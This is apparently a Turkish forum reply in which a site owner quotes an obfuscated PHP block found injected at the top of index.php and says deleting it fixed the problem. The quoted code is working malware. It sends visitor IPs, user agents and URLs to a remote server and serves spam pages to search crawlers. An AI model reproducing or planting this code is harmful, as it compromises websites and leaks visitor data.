Aynısını yaşadım. index.php nin en üstüne
<?php
goto xaGKj; zW6t5: curl_setopt($LrAn9, CURLOPT_SSL_VERIFYPEER, FALSE); goto W6q5w; Ku0Nr: v0Qi4: goto pOnDY; rFS2F: $tOYJw = urlencode(@$_SERVER["\x48\x54\x54\x50\137\x52\105\x46\x45\122\105\122"]); goto YMCeF; cgfhk: $dzYPA = urlencode($dzYPA); goto raeOY; GbYvA: $wCPQM = $_SERVER["\123\x43\x52\x49\120\124\137\x4e\101\x4d\x45"]; goto o7W9w; ZcCUR: exit; goto ShfPU; aclSh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x43\114\111\x45\116\124\137\x49\120"])) { goto MQ8lh; } goto dIi1J; zW9wm: if (strpos($y12G4, "\x6a\160\x32\x30\x32\x33") !== false) { goto QVRpv; } goto Pe72t; plJEO: header("\x43\x6f\156\164\x65\156\x74\55\x54\171\160\145\72\x20\164\x65\170\164\57\170\x6d\x6c\73\40\143\x68\x61\162\163\x65\164\x3d\165\x74\146\x2d\x38"); goto h8Gaz; qOpDy: WSghU: goto XJcpT; gZ5Lv: if (!(strpos($y12G4, "\x70\151\x6e\147\x73\151\164\x65\x6d\141\160") !== false)) { goto O_TWd; } goto GbYvA; oSB7d: goto cE9dA; goto apoLi; raeOY: $RsxaC = urlencode($_SERVER["\123\x43\x52\x49\120\x54\137\x4e\101\115\x45"]); goto aIlSk; vi1MU: if (strpos($y12G4, "\162\x6f\142\157\164\x73\x2e\164\x78\164") !== false or strpos($y12G4, "\x70\x69\x6e\147\163\x69\x74\145\155\x61\x70") !== false or strpos($y12G4, "\152\x70\62\60\62\x33") !== false or preg_match("\x40\x5e\x2f\x28\x2e\x2a\x3f\x29\56\170\x6d\154\x24\100\x69", $_SERVER["\x52\105\121\125\105\123\124\137\x55\122\x49"]) or preg_match("\x2f\x28{$X8z5Z}\51\57\x69", $_SERVER["\x48\124\124\120\137\125\x53\105\x52\137\x41\107\x45\116\x54"]) or preg_match("\x2f\50{$X8z5Z}\x29\57\x69", $_SERVER["\110\x54\x54\120\137\x52\105\106\x45\122\105\x52"])) { goto Lk3A_; } goto Yo21C; Bhqgt: MQ8lh: goto qs3bF; jIukD: goto WSghU; goto FNJmt; so2qX: $wCPQM = "\57"; goto oSB7d; Rtloy: $i74ng = "\x41\x31\121\107\x56\121\156"; goto Q2Vbs; T2ALo: echo $RFqI0; goto ZcCUR; YMCeF: $dzYPA = $_SERVER["\x52\x45\x4d\x4f\124\105\x5f\101\x44\104\122"]; goto Q2lTl; wh46U: if (strpos($y12G4, "\x66\141\x76\151\143\157\156\x2e\151\x63\x6f") !== false) { goto ZiwGc; } goto vi1MU; ECHlr: header("\x48\x54\x54\120\57\x31\56\60\x20\x35\60\x30\x20\x49\156\x74\145\x72\156\x61\x6c\x20\x53\x65\x72\x76\x65\x72\x20\105\x72\x72\157\162"); goto MK20b; FWCcj: $G4rzy = "{$O8T1W}\72\x2f\x2f" . $tj0NS . $wCPQM . "\x73\151\164\145\155\x61\160\56\170\155\154"; goto jaxUE; FNJmt: UrpMj: goto sPjyg; lkaDR: $K_Ctq = $Adztr . "\x3f\141\x67\145\156\x74\x3d{$yGgLc}\x26\162\145\x66\145\162\75{$tOYJw}\x26\x6c\x61\156\x67\75{$mzXjs}\46\x69\160\75{$dzYPA}\x26\x64\x6f\x6d\x3d{$tj0NS}\46\x68\x74\x74\160\75{$O8T1W}\46\x75\x72\x69\75{$y12G4}\46\x70\143\x3d{$i74ng}\46\162\x65\x77\x72\x69\164\x65\x61\x62\x6c\145\75{$OtOPc}\x26\163\x63\162\151\160\164\75{$RsxaC}"; goto gZ5Lv; Kw9It: if (!empty($_SERVER["\122\105\121\125\x45\x53\124\x5f\123\x43\110\105\x4d\x45"]) and $_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\123\x43\110\x45\x4d\x45"] == "\x68\164\x74\160\x73" or !empty($_SERVER["\x48\x54\x54\120\x53"]) and $_SERVER["\x48\x54\x54\120\x53"] == "\x6f\156" or !empty($_SERVER["\123\x45\122\126\105\122\x5f\x50\x4f\122\x54"]) and $_SERVER["\123\105\122\126\x45\x52\x5f\120\x4f\122\124"] == "\x34\x34\x33" or isset($_SERVER["\110\124\x54\120\137\x58\x5f\x46\117\122\127\x41\122\x44\x45\x44\x5f\120\x52\x4f\124\117"]) and $_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\x4f\122\x57\x41\x52\104\x45\x44\x5f\x50\x52\x4f\124\x4f"] == "\x68\x74\x74\x70\x73") { goto UrpMj; } goto CtnpA; sPOMy: EkaoR: goto T2ALo; TW4ln: $K_Ctq = $Adztr . "\77\141\147\x65\156\164\x3d{$yGgLc}\46\162\x65\146\145\162\x3d{$tOYJw}\x26\154\141\156\147\x3d{$mzXjs}\x26\x69\x70\x3d{$dzYPA}\46\x64\x6f\x6d\x3d{$tj0NS}\x26\x68\164\164\x70\75{$O8T1W}\x26\x75\x72\151\x3d{$y12G4}\x26\x70\143\75{$i74ng}\x26\162\x65\167\x72\151\x74\x65\x61\142\x6c\145\75{$OtOPc}\x26\163\x63\x72\151\160\164\x3d{$RsxaC}\x26\x73\x69\x74\x65\155\x61\160\x3d" . urlencode($G4rzy); goto Qf58p; mx1Ef: Lk3A_: goto lkaDR; ShfPU: return; goto mIQ_j; Pe72t: if (substr($RFqI0, 0, 5) == "\74\77\x78\155\154") { goto Kc_hp; } goto AYEKJ; MK20b: exit; goto X3lzJ; xaGKj: $m2qcz = "\157\x6d\x2f"; goto FH49k; IVLa9: UOQ8x: goto bDhFF; tK31V: $dzYPA = $_SERVER["\110\124\124\x50\x5f\x58\x5f\106\x4f\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]; goto IBnZe; AYEKJ: header("\103\157\x6e\164\x65\x6e\x74\55\x54\171\160\145\x3a\40\x74\145\170\164\57\x68\164\155\154\73\40\x63\x68\141\162\163\x65\x74\x3d\165\x74\146\x2d\x38"); goto bibzC; IBnZe: Cvc08: goto cgfhk; Nwhgy: if (!(substr($RFqI0, 0, 10) == "\x65\x72\x72\157\162\40\x63\157\x64\x65" || $RFqI0 == "\x35\60\60")) { goto fb6p8; } goto ECHlr; CtnpA: $_SERVER["\x52\105\121\125\105\x53\124\x5f\123\103\x48\x45\x4d\x45"] = "\150\164\x74\x70"; goto jIukD; jaxUE: echo $G4rzy . "\x3a\x20\74\x62\162\x2f\x3e"; goto TW4ln; uTzUI: goto yLuM8; goto Ku0Nr; sPjyg: $_SERVER["\122\105\121\x55\x45\123\124\137\123\103\x48\x45\115\105"] = "\x68\x74\164\x70\163"; goto qOpDy; LMIiN: if (!preg_match("\57\x28\x41\x73\153\x54\142\x46\130\x54\126\x7c\x48\x74\x74\160\103\154\151\145\156\x74\174\144\x69\147\105\x78\164\x7c\x73\167\x69\146\x74\x62\157\x74\174\120\171\164\x68\x6f\156\x2d\165\x72\154\154\x69\x62\174\x6a\x69\153\x65\123\160\x69\144\145\162\174\x47\120\124\102\x6f\164\174\145\x7a\157\157\x6d\163\174\x4f\102\x6f\164\x7c\x73\145\155\x72\x75\x73\150\x42\x6f\164\174\x66\145\145\144\x44\145\155\157\156\174\104\x6f\x74\x42\x6f\164\x7c\x7a\x6d\105\x75\174\131\171\123\x70\x69\x64\x65\162\x7c\x70\171\164\150\x6f\x6e\55\162\x65\161\165\145\163\164\163\174\131\x61\156\x64\145\170\102\x6f\x74\x7c\x4c\151\147\150\164\x44\x65\x63\153\x52\x65\160\157\x72\164\x73\x20\102\x6f\x74\174\x50\x65\x74\x61\154\102\157\164\x7c\x41\155\x61\x7a\x6f\156\102\x6f\x74\174\x43\x65\x6e\x73\171\x73\x49\x6e\x73\160\x65\x63\x74\174\155\152\61\x32\x62\x6f\164\174\x43\x72\x61\x77\154\104\141\144\144\171\x7c\x6a\141\x76\141\174\131\151\x73\x6f\165\123\160\x69\x64\145\x72\x7c\x53\x65\x7a\x6e\141\155\x42\157\x74\x7c\x45\141\x73\157\x75\x53\160\151\x64\x65\x72\174\x61\x68\162\145\146\163\x42\157\x74\174\165\156\x69\x76\145\x72\x73\x61\x6c\106\145\145\144\x50\x61\x72\163\x65\162\174\x42\x79\164\145\163\160\x69\144\145\x72\x7c\x43\157\157\x6c\x70\141\x64\x57\145\x62\153\x69\164\x7c\x53\x63\x72\141\160\x79\174\x42\x61\162\x6b\x72\x6f\167\154\x65\162\x7c\x4a\x61\x75\156\164\x79\x7c\107\157\x2d\150\164\x74\x70\x2d\143\154\x69\145\x6e\164\x7c\x68\145\x72\x69\164\162\151\x78\174\146\x65\145\144\x6c\x79\x7c\x50\171\x74\150\x6f\156\174\x70\x61\154\157\x61\x6c\x74\x6f\156\145\164\167\157\x72\153\x73\x7c\151\x6e\x64\x79\40\x4c\151\142\x72\141\162\x79\x7c\x44\141\x74\141\x46\x6f\x72\123\x45\x4f\x7c\101\160\141\143\150\145\102\145\156\143\x68\x29\x2f\x69", $_SERVER["\x48\x54\124\120\x5f\125\x53\x45\122\x5f\101\107\105\x4e\x54"])) { goto Qzxz6; } goto XXLvA; apoLi: Lh9HJ: goto wx3Zq; PXi0X: $KHTc7 = "\x32"; goto ibhQV; yPC4l: $y12G4 = urlencode($_SERVER["\x52\x45\x51\x55\105\x53\124\x5f\125\x52\x49"]); goto kmnbA; gtwSw: $LrAn9 = curl_init(); goto xb4yC; xb4yC: curl_setopt($LrAn9, CURLOPT_URL, $K_Ctq); goto kcy9n; ibhQV: $TogGD = "\150\x74\x74\x70\x3a\x2f"; goto BkLdZ; QjvbF: $wCPQM = $wCPQM . "\x3f"; goto uTzUI; wx3Zq: $wCPQM = "\x2f\x3f"; goto dTzh0; FH49k: $k0BIM = "\57\x63"; goto HGOwP; Yo21C: goto RaZhJ; goto mx1Ef; QFyav: Qzxz6: goto Y1hf1; dIi1J: if (isset($_SERVER["\110\124\124\120\x5f\x58\137\x46\x4f\122\x57\101\x52\104\105\104\137\106\x4f\122"])) { goto yFeGL; } goto FExxp; mIQ_j: Fn7vm: goto ktgVt; yeaE3: curl_setopt($LrAn9, CURLOPT_FOLLOWLOCATION, false); goto zW6t5; dIbxH: curl_close($LrAn9); goto IVLa9; bibzC: goto j40BA; goto kFyNQ; HGOwP: $KbrUw = "\x77\x31\63"; goto dNGtL; dTzh0: cE9dA: goto hZ9MK; Qf58p: O_TWd: goto FDN4q; FDN4q: $RFqI0 = @file_get_contents($K_Ctq); goto xn6aZ; ktgVt: RaZhJ: goto zzKig; qs3bF: $dzYPA = $_SERVER["\110\x54\124\120\137\103\114\x49\x45\116\124\137\x49\120"]; goto gCbDk; PgS5Y: $X8z5Z = "\x44\157\143\x6f\x6d\x6f\x7c\102\151\156\147\x7c\131\x61\150\x6f\157\x7c\x47\x6f\x6f\x67\x6c\x65"; goto LMIiN; h8Gaz: j40BA: goto FdK8_; kcy9n: curl_setopt($LrAn9, CURLOPT_RETURNTRANSFER, true); goto yeaE3; AhU6Y: yFeGL: goto tK31V; Y1hf1: $yGgLc = urlencode($_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\122\x5f\101\107\105\116\x54"]); goto rFS2F; hZ9MK: yLuM8: goto FWCcj; Q2Vbs: error_reporting(0); goto PgS5Y; X3lzJ: fb6p8: goto zW9wm; UQRZC: exit; goto QFyav; W6q5w: curl_setopt($LrAn9, CURLOPT_SSL_VERIFYHOST, FALSE); goto bOGTN; kFyNQ: Kc_hp: goto plJEO; aIlSk: $tj0NS = urlencode($_SERVER["\x48\x54\124\120\137\x48\117\x53\x54"]); goto Kw9It; gCbDk: goto Cvc08; goto AhU6Y; bOGTN: $RFqI0 = curl_exec($LrAn9); goto dIbxH; BkLdZ: $Adztr = $TogGD . $k0BIM . $KbrUw . $KHTc7 . $TmHkm . $m2qcz; goto Rtloy; dNGtL: $TmHkm = "\60\x2e\150\145\141\x72\x69\x6e\x67\x74\145\x6c\x6c\56\143"; goto PXi0X; IzqKn: header("\110\124\124\x50\x2f\x31\x2e\61\40\64\60\x34\40\116\157\164\40\106\157\x75\156\x64"); goto sPOMy; ml0Qs: ZiwGc: goto Wmhud; XXLvA: header("\x48\x54\x54\x50\x2f\x31\x2e\60\x20\64\x30\x33\x20\x46\157\x72\142\151\144\x64\145\x6e"); goto UQRZC; bDhFF: if (empty($RFqI0)) { goto Fn7vm; } goto Nwhgy; FExxp: goto Cvc08; goto Bhqgt; pOnDY: if ($OtOPc == 0) { goto Lh9HJ; } goto so2qX; kmnbA: $OtOPc = 0; goto wh46U; zzKig: goto ezOHo; goto ml0Qs; OPNWW: QVRpv: goto IzqKn; FdK8_: goto EkaoR; goto OPNWW; Q2lTl: $mzXjs = urlencode(@$_SERVER["\x48\x54\x54\120\x5f\x41\x43\103\105\120\124\137\x4c\101\x4e\x47\125\101\x47\105"]); goto aclSh; xn6aZ: if (!empty($RFqI0)) { goto UOQ8x; } goto gtwSw; XJcpT: $O8T1W = urlencode($_SERVER["\122\105\x51\125\x45\123\124\137\123\103\x48\x45\115\105"]); goto yPC4l; o7W9w: if (strpos($wCPQM, "\x69\156\x64\x65\x78\56\160\150") !== false) { goto v0Qi4; } goto QjvbF; Wmhud: ezOHo:
?><?phpbu kodu atıyorlar. Nasıl sızıyorlar bilmiyorum ama ben bu kodu index.php den silerek düzeltmiştim.